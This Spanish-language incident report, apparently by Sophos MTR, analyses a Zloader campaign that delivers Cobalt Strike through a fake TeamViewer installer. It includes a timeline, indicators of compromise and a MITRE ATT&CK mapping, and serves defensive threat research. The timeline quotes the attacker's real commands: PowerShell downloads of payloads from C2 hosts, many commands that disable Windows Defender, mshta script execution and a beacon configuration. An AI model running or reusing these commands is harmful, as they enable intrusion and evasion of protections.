Zloader es un troyano bancario con vínculos históricos con el malware Zeus. Recientemente, las filiales de ransomware Egregor y Ryuk utilizaron Zloader como punto de entrada inicial. Zloader presenta capacidades de acceso remoto VNC y se ofreció en el foro de ciberdelincuencia de habla rusa exploit[.]in.
Zloader infecta a los usuarios aprovechando publicidad web fraudulenta para redirigir a los usuarios a descargas de archivos MSI maliciosos. Durante el año pasado, los archivos MSI de Zloader se disfrazaron como instaladores de aplicaciones de trabajo remoto como Zoom, TeamViewer y Discord.
El equipo de Sophos Managed Threat Response (MTR) detectó y respondió recientemente a una campaña de Zloader que desplegó CobaltStrike e instaló el agente de Atera para acceso remoto permanente. MTR observó que Zloader aprovechaba una vulnerabilidad conocida en Windows que permitía agregar contenido de script malicioso a archivos firmados digitalmente proporcionados por Microsoft, CVE-2013-3900. En el último mes, otras dos organizaciones han compartido investigaciones relacionadas con esta campaña. Checkpoint publicó por primera vez detalles sobre cómo Zloader abusa de CVE-2013-3900. Poco después, Walmart GlobalTech detalló la investigación sobre esta campaña de ataque, incluidos sus hallazgos de que “las infecciones se encuentran principalmente en los EEUU y Europa”. Dadas las observaciones únicas de Sophos con respecto al acceso inicial y a la baliza de CobaltStrike desplegada, queremos publicar nuestra correspondiente investigación.
Cronología de eventos
19:29
El viernes 10 de diciembre, un usuario de una empresa automotriz estadounidense intentó instalar una herramienta de acceso remoto en su ordenador mediante la búsqueda en Google de “descarga de TeamViewer”. Desafortunadamente, este usuario hizo clic accidentalmente en un anuncio fraudulento, descargó y luego ejecutó un paquete de instalación malicioso llamado TeamViewer.msi.
La descarga maliciosa se realizó utilizando el dominio teamviewer-u[.]com. Este dominio de comando y control compartía la misma dirección IP de hosting que el dominio zoomvideoconference[.]com de Zloader en el momento de nuestro análisis.
19:30
Cuando se corrió el TeamViewer.msi descargado, escribió en el disco un ejecutable malicioso llamado internal.exe. El ejecutable malicioso se lanzó en paralelo a la aplicación legítima de TeamViewer:
"C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\internal.exe "C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\TeamViewer_Service.exe
internal.exe lanzó un script de instalación que descargó y ejecutó malware adicional desde un servidor de comando y control de Zloader, clouds222[.]com.
cmd.exe /C C:/Users/User/AppData/Roaming/internal/launch.bat powershell Invoke-WebRequest https[://]clouds222[.]com/t1m/index/processingSetRequestBat2/?servername=msi -OutFile flash.bat C:\Windows\System32\cmd.exe" /c C:\Users\User\AppData\Roaming\internal\flash.bat
El script descargado flash.bat ejecutó un script VBS diseñado para eludir el control de la aplicaciones del usuario y elevar los privilegios del atacante.
"C:\WINDOWS\system32\cacls.exe" "C:\WINDOWS\system32\config\system" "C:\WINDOWS\System32\WScript.exe" "C:\Users\User\AppData\Local\Temp\getadmin.vbs"
19:31
Luego, flash.bat se ejecutó por segunda vez, pero esta vez se aprovechó para descargar payloads y herramientas adicionales de clouds222[.]com.
powershell Invoke-WebRequest https[:]//clouds222[.]com/t1m/index/processingSetRequestBat3/?servername=msi -OutFile appContast.dll powershell Invoke-WebRequest https[:]//clouds222[.]com/t1m/index/processingSetRequestBat4/?servername=msi -OutFile flashupdate.ps1 PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& './flashupdate.ps1'" ping 127.0.0.1 -n 3 cmd /c del "C:\Users\User\AppData\Roaming\internal\flash.bat" PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& './flashupdate.ps1'"
Aproximadamente dos minutos después de la ejecución inicial del malware MSI, se ejecutó el archivo descargado flashupdate.ps1. Este script contenía funcionalidad para instalar GnuPg y descifrar los payloads.
"C:\WINDOWS\System32\Wbem\WMIC.exe" computersystem get domain "C:\WINDOWS\system32\ARP.EXE" -a "C:\Users\User\AppData\Roaming\gpg4win-2.2.5.exe" /S "C:\WINDOWS\system32\cmd.exe /c ""C:\Users\User\AppData\Roaming\ais.bat""
El script de PowerShell flashupdate.ps1 ejecutó otro script posterior a la explotación ais.bat. Este script por lotes se apalancó en commandaadmin[.]com para descargar una copia renombrada de la herramienta NSudo, un programa que los ciberdelincuentes usan habitualmente para ejecutar procesos con privilegios elevados (TrustedInstaller). El script usó reg.exe para alterar varias claves de registro para evadir la detección, como la supresión de notificaciones para Windows Defender. Bcdedit.exe se usa para deshabilitar la reparación de inicio de Windows antes de deshabilitar Windows Defender a través de ‘sc config’. Se sospecha que ais.bat se deriva de un script de código abierto llamado “Defeat-Defender” que afirma “desmantelar la protección completa de Windows Defender” en función de las similitudes en los comandos observados.
powershell Invoke-WebRequest https[:]//commandaadmin[.]com/adminpriv.exe -OutFile adminpriv.exe adminpriv -U:T -ShowWindowMode:Hide reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableCMD" /t REG_DWORD /d "1" /f adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d "1" /f adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d "1" /f powershell.exe -command "Add-MpPreference -ExclusionExtension ".bat"" adminpriv -U:T -ShowWindowMode:Hide bcdedit /set {default} recoveryenabled No adminpriv -U:T -ShowWindowMode:Hide bcdedit /set {default} bootstatuspolicy ignoreallfailures adminpriv -U:T sc config WinDefend start= disabled powershell Invoke-WebRequest https[:]//commandaadmin[.]com/auto.bat -OutFile auto.bat
Los payloads descargadas appContast.dll y apiicontrast.dl se apalancan en una vulnerabilidad conocida en Windows, CVE-2013-3900. Esto permitió a Zloader agregar contenido de script malicioso a un archivo firmado digitalmente por Microsoft. El contenido del script adjunto se ejecuta utilizando el binario de Windows mshta.exe.
cmd /c C:\Windows\System32\mshta.exe C:\Users\User\AppData\Roaming\appContast.dll cmd /c C:\Windows\System32\mshta.exe C:\Users\User\AppData\Roaming\apiicontrast.dll
Se observaron comandos de evasión de defensa adicionales cuando se ejecutó appContrast.dll. Se aprovechó PowerShell para manipular los módulos de Windows Defender:
Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming' Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming*' Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming\*' Add-MpPreference -ExclusionPath 'C:\Users\User\*' Add-MpPreference -ExclusionPath 'C:\Users\User' Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\*' Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\' Set-MpPreference -MAPSReporting 0 Add-MpPreference -ExclusionProcess 'regsvr32' Add-MpPreference -ExclusionProcess 'powershell.exe' Add-MpPreference -ExclusionExtension '.exe' Add-MpPreference -ExclusionProcess 'regsvr32*' Add-MpPreference -ExclusionProcess '.dll' Add-MpPreference -ExclusionProcess '*.dll' Set-MpPreference -PUAProtection disable Set-MpPreference -EnableControlledFolderAccess Disabled Set-MpPreference -DisableRealtimeMonitoring $true Set-MpPreference -DisableBehaviorMonitoring $true Set-MpPreference -DisableIOAVProtection $true Set-MpPreference -DisablePrivacyMode $true Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true Set-MpPreference -DisableArchiveScanning $true Set-MpPreference -DisableIntrusionPreventionSystem $true Set-MpPreference -DisableScriptScanning $true Set-MpPreference -SubmitSamplesConsent 2 Add-MpPreference -ExclusionProcess '*.exe' Add-MpPreference -ExclusionProcess 'explorer.exe' Add-MpPreference -ExclusionProcess '.exe' Set-MpPreference -HighThreatDefaultAction 6 -Force Set-MpPreference -ModerateThreatDefaultAction 6 Set-MpPreference -LowThreatDefaultAction 6 Set-MpPreference -SevereThreatDefaultAction 6 Set-MpPreference -ScanScheduleDay 8 Add-MpPreference -ExclusionProcess 'msiexec.exe' Add-MpPreference -ExclusionProcess 'rundll32.exe' Add-MpPreference -ExclusionProcess 'rundll32*'
Cuando apiicontrast.dll se ejecuta con MSHTA, se inicia un script de suspensión de VBS antes del descifrado y la ejecución de un payload de Cobalt Strike, zoom.dll. El usuario de Twitter @nao_sec observó por primera vez que esta contraseña de descifrado de GPG estaba asociada a Zloader el 28 de noviembre.
"C:\WINDOWS\System32\WScript.exe" "C:\Users\User\AppData\Local\Temp\WScriptSleeper.vbs" 45000 "C:\Windows\System32\cmd.exe" /c PowerShell -NoProfile -ExecutionPolicy Bypass -command Import-Module GnuPg; Remove-Encryption -FolderPath C:\Users\User\AppData\Roaming -Password 'bibigroup' "C:\Windows\System32\cmd.exe" /c rundll32.exe zoom2.dll DllRegisterServer "C:\Windows\System32\cmd.exe" /c zoom1.msi "C:\Windows\System32\cmd.exe" /c regsvr32 zoom.dll
Al mismo tiempo, msiexec instaló una puerta trasera de acceso remoto a través de AteraAgent. Los actores malciosos vinculados al ransomware Conti emplean con frecuencia AteraAgent y otras herramientas de acceso remoto.
"C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\internal.exe" "C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe" /i /IntegratorLogin="milliesoho@yahoo.com" /CompanyId="1" /IntegratorLoginUI="" /CompanyIdUI="" /FolderId="" /AccountId="" NET STOP AteraAgent taskkill /f /im AteraAgent.exe "C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe" /u "C:\Program Files\ATERA Networks\AteraAgent\AteraAgent.exe" /i /IntegratorLogin="" /CompanyId="" /IntegratorLoginUI="" /CompanyIdUI=""
El payload descifrado Zoom.dll de Cobalt Strike intenta comunicarse con el servidor C2 sdilok[.]com/jquery-3[.]3[.]1[.]min[.]js usando la configuración de BALIZA que mostramos a continuación.
{ "BeaconType": [ "HTTP" ], "Port": 80, "SleepTime": 5000, "MaxGetSize": 1403644, "Jitter": 10, "PublicKey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCEEz909XdV3PkUiLxDGpWVdPD3B4EbAj5EfUWeabGyL6L tDBTgG0rgRmafGGYCCaNU51WT4X9vu0vpXJvm+j0xmQcd3oy3ZmJfZpmNvgjGMYi4O077 fl7Mda1Q+plqpnJ3Oi8Mv5VIccWGfuPbRq8dLT38rkb20IVTCYnrle/AHQIDAQABAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", "PublicKey_MD5": "c60a248cc3e3ad52088035b21bf170a4", "C2Server": "sdilok.com,/jquery-3.3.1.min.js", "UserAgent": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko", "HttpPostUri": "/jquery-3.3.2.min.js", "Malleable_C2_Instructions": [ "Remove 1522 bytes from the end", "Remove 84 bytes from the beginning", "Remove 3931 bytes from the beginning", "Base64 URL-safe decode", "XOR mask w/ random key" ], "HttpGet_Metadata": { "ConstHeaders": [ "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Referer: http://code.jquery.com/", "Accept-Encoding: gzip, deflate" ], "ConstParams": [], "Metadata": [ "base64url", "prepend \"__cfduid=\"", "header \"Cookie\"" ], "SessionId": [], "Output": [] }, "HttpPost_Metadata": { "ConstHeaders": [ "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Referer: http://code.jquery.com/", "Accept-Encoding: gzip, deflate" ], "ConstParams": [], "Metadata": [], "SessionId": [ "mask", "base64url", "parameter \"__cfduid\"" ], "Output": [ "mask", "base64url", "print" ] }, "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==", "SSH_Banner": "", "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\dllhost.exe", "Spawnto_x64": "%windir%\\sysnative\\dllhost.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 0, "bStageCleanup": "True", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "False", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 17500, "ProcInject_PrependAppend_x86": [ "kJA=", "Empty" ], "ProcInject_PrependAppend_x64": [ "kJA=", "Empty" ], "ProcInject_Execute": [ "ntdll:RtlUserThreadStart", "CreateThread", "NtQueueApcThread-s", "CreateRemoteThread", "RtlCreateUserThread" ], "ProcInject_AllocationMethod": "NtMapViewOfSection", "ProcInject_Stub": "Ms1B7fCBDFtfSY7fRzHMbQ==", "bUsesCookies": "True", "HostHeader": "", "smbFrameHeader": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=", "tcpFrameHeader": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=", "DNS_strategy": "round-robin", "DNS_strategy_rotate_seconds": -1, "DNS_strategy_fail_x": -1, "DNS_strategy_fail_seconds": -1 }
Respuesta y Reparación
19:34
Sophos EDR/XDR detecta la carga útil de Cobalt Strike en la memoria como “C2_6a T1071.001 mem/cobalt-d” y toma medidas automáticamente para finalizar el proceso malicioso rundll32.exe y limpiar la carga útil de Cobalt Strike del disco.
19:35
El equipo de MTR de Sophos ha creado una investigación para los comandos sospechosos y para la detección de Cobalt Strike. Cobalt Strike es un agente de acceso remoto muy utilizado por los adversarios y es un precursor común de la actividad de ransomware.
19:37
Un analista de Sophos MTR comenzó a responder al caso solo seis minutos después de la ejecución inicial del malware. El equipo de MTR aisló el host afectado para evitar el movimiento lateral mientras tomaba las acciones de respuesta. Durante la investigación, el equipo de MTR colaboró estrechamente con SophosLabs para tomar de inmediato las medidas necesarias para ayudar a proteger a los clientes de Sophos en general. MTR deshabilitó la puerta trasera de Atera y colaboró con el cliente afectado para limitar con éxito el impacto en una estación de trabajo.
Indicadores de compromiso
Indicador | Tipo |
teamviewer-u[.]com | Comando y control |
zoomvideoconference[.]com | Comando y control |
https[:]//sdilok[.]com/jquery-3.3.1.min.js | Comando y control: Cobalt Strike |
https[:]//clouds222[.]com | Comando y control |
https[:]//commandaadmin[.]com | Comando y control |
a187d9c0b4bdb4d0b5c1d2bdbcb65090dcee5d8c | Archivo – ‘TeamViewer.msi’ |
3eda16e4d60e1a79ad97fc1d195ccbe5d97e699f | Archivo – ‘auto.bat’ |
f4879eb2c159c4e73139d1ac5d5c8862af8f1719 | Archivo – ‘internal.exe |
3a80a49efaac5d839400e4fb8f803243fb39a513 | Archivo – ‘adminpriv.exe’ |
5c59ef0d8c0919082128e98a757d844c0ace54e3 | Archivo – ‘ais.bat’ |
23136ecb2edb263db390b6b9fcf9000ff23441a9 | Archivo – ‘appContast.dll’ |
5912bfbd07dec5dd7798e7cb413299c788a8fd9e | Archivo – ‘flashupdate.ps1’ |
5ec4ba41b2066654d8e0dfd0aea770197ad2f21c | Archivo – ‘zoom1.msi.gpg’ |
b350b770b8b79ffb16574d59e4ca4fafacca19cd | Archivo – ‘zoom1.msi’ |
41a47cc8807121cac19597bc0455084e714604bc | Archivo – ‘zoom2.dll.gpg’ |
2c15d43aab71465c9308e0cc306339925d47dea3 | Archivo – ‘zoom2.dll’ |
Mapeo MITRE ATT&CK
Táctica MITRE | Técnica MITRE |
Acceso inicial | T1189 – Compromiso de paso |
Ejecución | T1059 – Intérprete de comandos y secuencias de comandos T1204 – Ejecución del usuario |
Persistencia | T1543 – Crear o modificar el proceso del sistema |
Escalada de privilegios | T1055 – Inyección de proceso T1548 – Mecanismo de Control de Elevación de Abuso |
Evasión de defensa | T1218 – Ejecución de proxy binario firmadoT1562 – Deterioro de las defensas T1036 – Enmascaramiento T1140 – Desofuscar/ Decodificar archivos o información |
Comando & Control | T1219 – Software de acceso remoto T1071 – Protocolo de capa de aplicación: Protocolos web |
Descubrimiento | T1482 – Descubrimiento de confianza de dominio |
Exfiltración | T1041 – Exfiltración sobre el canal C&C |
Escrito e investigado por Colin Cowie con el apoyo de Stan Andic y el equipo MTR de Sophos.